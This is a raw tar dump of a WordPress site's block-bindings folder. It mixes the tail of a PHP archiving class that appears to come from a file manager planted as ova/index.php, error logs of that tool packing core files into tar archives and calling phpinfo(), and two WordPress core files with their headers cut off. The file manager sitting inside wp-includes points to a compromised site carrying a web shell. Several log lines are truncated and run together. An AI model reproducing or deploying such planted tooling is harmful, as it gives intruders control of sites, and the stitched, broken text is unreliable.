$this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ova/error_log000064400000057030150547667000007265 0ustar00[29-Aug-2025 19:14:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [29-Aug-2025 19:14:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [29-Aug-2025 19:25:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [29-Aug-2025 19:25:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [29-Aug-2025 19:30:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [29-Aug-2025 19:30:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:32:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:32:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:33:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:34:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:34:38 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:34:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:35 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:46 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:42:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:43:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:43:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:47:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:47:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:47:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:47:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:48:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:48:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:49:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:49:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:55:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:55:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:57:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:57:21 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:58:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:58:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:58:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:58:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 04:59:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:00:02 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:02:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:02:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:08:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:08:31 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:12:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:12:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-i[30-Aug-2025 05:22:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:22:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:22:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:22:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:28:51 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 05:28:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 07:54:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 07:54:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 07:57:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 07:57:14 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 07:58:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 07:58:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 11:14:14 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 11:14:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 11:23:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 11:23:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index[30-Aug-2025 12:30:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 12:30:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 12:40:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [30-Aug-2025 12:40:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 01:34:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 01:34:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 01:54:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 01:54:49 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 01:54:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 596 [31-Aug-2025 01:54:49 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 597 [31-Aug-2025 04:52:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 04:52:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 09:31:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 09:31:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 09:31:17 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/pattern-overrides.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.co[31-Aug-2025 10:50:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 10:50:34 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 20:14:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 20:14:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [31-Aug-2025 20:14:27 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/error_log.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/error_log" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 1117 [01-Sep-2025 04:45:18 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [01-Sep-2025 04:45:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [01-Sep-2025 04:45:19 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 669 [02-Sep-2025 14:45:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [02-Sep-2025 14:45:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 91 [02-Sep-2025 14:45:23 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/post-meta.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/ova/index.php on line 1117 pattern-overrides.php000064400000002763150547667020010756 0ustar00 "foo" ). * @param WP_Block $block_instance The block instance. * @param string $attribute_name The name of the target attribute. * @return mixed The value computed for the source. */ function _block_bindings_pattern_overrides_get_value( array $source_args, $block_instance, string $attribute_name ) { if ( empty( $block_instance->attributes['metadata']['name'] ) ) { return null; } $metadata_name = $block_instance->attributes['metadata']['name']; return _wp_array_get( $block_instance->context, array( 'pattern/overrides', $metadata_name, $attribute_name ), null ); } /** * Registers Pattern Overrides source in the Block Bindings registry. * * @since 6.5.0 * @access private */ function _register_block_bindings_pattern_overrides_source() { register_block_bindings_source( 'core/pattern-overrides', array( 'label' => _x( 'Pattern Overrides', 'block bindings source' ), 'get_value_callback' => '_block_bindings_pattern_overrides_get_value', 'uses_context' => array( 'pattern/overrides' ), ) ); } add_action( 'init', '_register_block_bindings_pattern_overrides_source' ); post-meta.php000064400000004047150547667030007210 0ustar00 "foo" ). * @param WP_Block $block_instance The block instance. * @return mixed The value computed for the source. */ function _block_bindings_post_meta_get_value( array $source_args, $block_instance ) { if ( empty( $source_args['key'] ) ) { return null; } if ( empty( $block_instance->context['postId'] ) ) { return null; } $post_id = $block_instance->context['postId']; // If a post isn't public, we need to prevent unauthorized users from accessing the post meta. $post = get_post( $post_id ); if ( ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) || post_password_required( $post ) ) { return null; } // Check if the meta field is protected. if ( is_protected_meta( $source_args['key'], 'post' ) ) { return null; } // Check if the meta field is registered to be shown in REST. $meta_keys = get_registered_meta_keys( 'post', $block_instance->context['postType'] ); // Add fields registered for all subtypes. $meta_keys = array_merge( $meta_keys, get_registered_meta_keys( 'post', '' ) ); if ( empty( $meta_keys[ $source_args['key'] ]['show_in_rest'] ) ) { return null; } return get_post_meta( $post_id, $source_args['key'], true ); } /** * Registers Post Meta source in the block bindings registry. * * @since 6.5.0 * @access private */ function _register_block_bindings_post_meta_source() { register_block_bindings_source( 'core/post-meta', array( 'label' => _x( 'Post Meta', 'block bindings source' ), 'get_value_callback' => '_block_bindings_post_meta_get_value', 'uses_context' => array( 'postId', 'postType' ), ) ); } add_action( 'init', '_register_block_bindings_post_meta_source' ); error_log000064400000020000150547667040006467 0ustar00[17-May-2025 11:20:31 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [17-May-2025 12:38:54 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [17-May-2025 13:00:05 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [17-May-2025 14:35:31 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [19-May-2025 06:02:46 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/pattern-overrides.php on line 47 [19-May-2025 08:42:56 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [03-Jun-2025 19:47:49 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/block-bindings/post-meta.php on line 70 [04-Jun-2025 05:40:43 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in 